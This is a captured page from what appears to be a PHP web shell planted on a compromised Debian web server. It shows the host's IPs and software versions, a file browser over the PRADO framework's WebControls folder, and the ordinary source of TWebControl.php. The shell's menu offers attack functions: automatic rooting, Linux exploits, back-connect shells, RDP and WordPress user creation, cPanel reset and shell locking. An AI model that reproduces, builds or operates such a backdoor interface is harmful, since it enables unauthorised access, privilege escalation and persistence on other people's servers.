Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.12.151.11
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TWebControl.php
<?php /** * TWebControl class file. * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Prado; use Prado\Exceptions\TInvalidDataValueException; use Prado\TPropertyValue; /** * TWebControl class * * TWebControl is the base class for controls that share a common set * of UI-related properties and methods. TWebControl-derived controls * are usually associated with HTML tags. They thus have tag name, attributes * and body contents. You can override {@link getTagName} to specify the tag name, * {@link addAttributesToRender} to specify the attributes to be rendered, * and {@link renderContents} to customize the body content rendering. * TWebControl encapsulates a set of properties related with CSS style fields, * such as {@link getBackColor BackColor}, {@link getBorderWidth BorderWidth}, etc. * * Subclasses of TWebControl typically needs to override {@link addAttributesToRender} * and {@link renderContents}. The former is used to render the attributes * of the HTML tag associated with the control, while the latter is to render * the body contents enclosed within the HTML tag. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TWebControl extends \Prado\Web\UI\TControl implements IStyleable { /** * @var bool ensures the inclusion the id in the tag rendering. */ private $_ensureid = false; /** * @var TWebControlDecorator this render things before and after both the open and close tag */ protected $_decorator; /** * Subclasses can override getEnsureId or just set this property. eg. If your subclass * control does work with javascript and your class wants to flag that it requires an id * to operate properly. Once set to true, it stays that way. * @param bool $value pass true to enable enforcement of the tag attribute id. */ public function setEnsureId($value) { $this->_ensureid |= TPropertyValue::ensureBoolean($value); } /** * @return bool whether this web control must have an id */ public function getEnsureId() { return $this->_ensureid; } /** * @param bool $create * @return TWebControlDecorator */ public function getDecorator($create = true) { if ($create && !$this->_decorator) { $this->_decorator = new TWebControlDecorator($this); } return $this->_decorator; } /** * Copies basic control attributes from another control. * Properties including AccessKey, ToolTip, TabIndex, Enabled * and Attributes are copied. * @param TWebControl $control source control */ public function copyBaseAttributes(TWebControl $control) { $this->setAccessKey($control->getAccessKey()); $this->setToolTip($control->getToolTip()); $this->setTabIndex($control->getTabIndex()); if (!$control->getEnabled()) { $this->setEnabled(false); } if ($control->getHasAttributes()) { $this->getAttributes()->copyFrom($control->getAttributes()); } } /** * @return string the access key of the control */ public function getAccessKey() { return $this->getViewState('AccessKey', ''); } /** * Sets the access key of the control. * Only one-character string can be set, or an exception will be raised. * Pass in an empty string if you want to disable access key. * @param string $value the access key to be set * @throws TInvalidDataValueException if the access key is specified with more than one character */ public function setAccessKey($value) { if (strlen($value) > 1) { throw new TInvalidDataValueException('webcontrol_accesskey_invalid', get_class($this), $value); } $this->setViewState('AccessKey', $value, ''); } /** * @return string the background color of the control */ public function getBackColor() { if ($style = $this->getViewState('Style', null)) { return $style->getBackColor(); } else { return ''; } } /** * @param string $value the background color of the control */ public function setBackColor($value) { $this->getStyle()->setBackColor($value); } /** * @return string the border color of the control */ public function getBorderColor() { if ($style = $this->getViewState('Style', null)) { return $style->getBorderColor(); } else { return ''; } } /** * @param string $value the border color of the control */ public function setBorderColor($value) { $this->getStyle()->setBorderColor($value); } /** * @return string the border style of the control */ public function getBorderStyle() { if ($style = $this->getViewState('Style', null)) { return $style->getBorderStyle(); } else { return ''; } } /** * @param string $value the border style of the control */ public function setBorderStyle($value) { $this->getStyle()->setBorderStyle($value); } /** * @return string the border width of the control */ public function getBorderWidth() { if ($style = $this->getViewState('Style', null)) { return $style->getBorderWidth(); } else { return ''; } } /** * @param string $value the border width of the control */ public function setBorderWidth($value) { $this->getStyle()->setBorderWidth($value); } /** * @return TFont the font of the control */ public function getFont() { return $this->getStyle()->getFont(); } /** * @return string the foreground color of the control */ public function getForeColor() { if ($style = $this->getViewState('Style', null)) { return $style->getForeColor(); } else { return ''; } } /** * @param string $value the foreground color of the control */ public function setForeColor($value) { $this->getStyle()->setForeColor($value); } /** * @return string the height of the control */ public function getHeight() { if ($style = $this->getViewState('Style', null)) { return $style->getHeight(); } else { return ''; } } /** * @param TDisplayStyle $value display style of the control, default is TDisplayStyle::Fixed */ public function setDisplay($value) { $this->getStyle()->setDisplayStyle($value); } /** * @return TDisplayStyle display style of the control, default is TDisplayStyle::Fixed */ public function getDisplay() { return $this->getStyle()->getDisplayStyle(); } /** * @param string $value the css class of the control */ public function setCssClass($value) { $this->getStyle()->setCssClass($value); } /** * @return string the css class of the control */ public function getCssClass() { if ($style = $this->getViewState('Style', null)) { return $style->getCssClass(); } else { return ''; } } /** * @param string $value the height of the control */ public function setHeight($value) { $this->getStyle()->setHeight($value); } /** * @return bool whether the control has defined any style information */ public function getHasStyle() { return $this->getViewState('Style', null) !== null; } /** * Creates a style object to be used by the control. * This method may be overriden by controls to provide customized style. * @return TStyle the default style created for TWebControl */ protected function createStyle() { return new TStyle(); } /** * @return TStyle the object representing the css style of the control */ public function getStyle() { if ($style = $this->getViewState('Style', null)) { return $style; } else { $style = $this->createStyle(); $this->setViewState('Style', $style, null); return $style; } } /** * Sets the css style string of the control. * The style string will be prefixed to the styles set via other control properties (e.g. Height, Width). * @param string $value the css style string * @throws TInvalidDataValueException if the parameter is not a string */ public function setStyle($value) { if (is_string($value)) { $this->getStyle()->setCustomStyle($value); } else { throw new TInvalidDataValueException('webcontrol_style_invalid', get_class($this)); } } /** * Removes all style data. */ public function clearStyle() { $this->clearViewState('Style'); } /** * @return int the tab index of the control */ public function getTabIndex() { return $this->getViewState('TabIndex', 0); } /** * Sets the tab index of the control. * Pass 0 if you want to disable tab index. * @param int $value the tab index to be set */ public function setTabIndex($value) { $this->setViewState('TabIndex', TPropertyValue::ensureInteger($value), 0); } /** * Returns the tag name used for this control. * By default, the tag name is 'span'. * You can override this method to provide customized tag names. * @return string tag name of the control to be rendered */ protected function getTagName() { return 'span'; } /** * @return string the tooltip of the control */ public function getToolTip() { return $this->getViewState('ToolTip', ''); } /** * Sets the tooltip of the control. * Pass an empty string if you want to disable tooltip. * @param string $value the tooltip to be set */ public function setToolTip($value) { $this->setViewState('ToolTip', $value, ''); } /** * @return string the width of the control */ public function getWidth() { if ($style = $this->getViewState('Style', null)) { return $style->getWidth(); } else { return ''; } } /** * @param string $value the width of the control */ public function setWidth($value) { $this->getStyle()->setWidth($value); } /** * If your subclass overrides the onPreRender method be sure to call * this method through parent::onPreRender($param); so your sub-class can be decorated, * among other things. * @param \Prado\TEventParameter $param event parameter to be passed to the event handlers */ public function onPreRender($param) { if ($decorator = $this->getDecorator(false)) { $decorator->instantiate(); } parent::onPreRender($param); } /** * Adds attribute name-value pairs to renderer. * By default, the method will render 'id', 'accesskey', 'disabled', * 'tabindex', 'title' and all custom attributes. * The method can be overriden to provide customized attribute rendering. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ protected function addAttributesToRender($writer) { if ($this->getID() !== '' || $this->getEnsureId()) { $writer->addAttribute('id', $this->getClientID()); } if (($accessKey = $this->getAccessKey()) !== '') { $writer->addAttribute('accesskey', $accessKey); } if (!$this->getEnabled()) { $writer->addAttribute('disabled', 'disabled'); } if (($tabIndex = $this->getTabIndex()) > 0) { $writer->addAttribute('tabindex', "$tabIndex"); } if (($toolTip = $this->getToolTip()) !== '') { $writer->addAttribute('title', $toolTip); } if ($style = $this->getViewState('Style', null)) { $style->addAttributesToRender($writer); } if ($this->getHasAttributes()) { foreach ($this->getAttributes() as $name => $value) { $writer->addAttribute($name, $value); } } } /** * Renders the control. * This method overrides the parent implementation by replacing it with * the following sequence: * - {@link renderBeginTag} * - {@link renderContents} * - {@link renderEndTag} * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ public function render($writer) { $this->renderBeginTag($writer); $this->renderContents($writer); $this->renderEndTag($writer); } /** * Renders the openning tag for the control (including attributes) * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ public function renderBeginTag($writer) { if ($decorator = $this->getDecorator(false)) { $decorator->renderPreTagText($writer); $this->addAttributesToRender($writer); $writer->renderBeginTag($this->getTagName()); $decorator->renderPreContentsText($writer); } else { $this->addAttributesToRender($writer); $writer->renderBeginTag($this->getTagName()); } } /** * Renders the body content enclosed between the control tag. * By default, child controls and text strings will be rendered. * You can override this method to provide customized content rendering. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ public function renderContents($writer) { parent::renderChildren($writer); } /** * Renders the closing tag for the control * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ public function renderEndTag($writer) { if ($decorator = $this->getDecorator(false)) { $decorator->renderPostContentsText($writer); $writer->renderEndTag(); $decorator->renderPostTagText($writer); } else { $writer->renderEndTag(); } } }
Close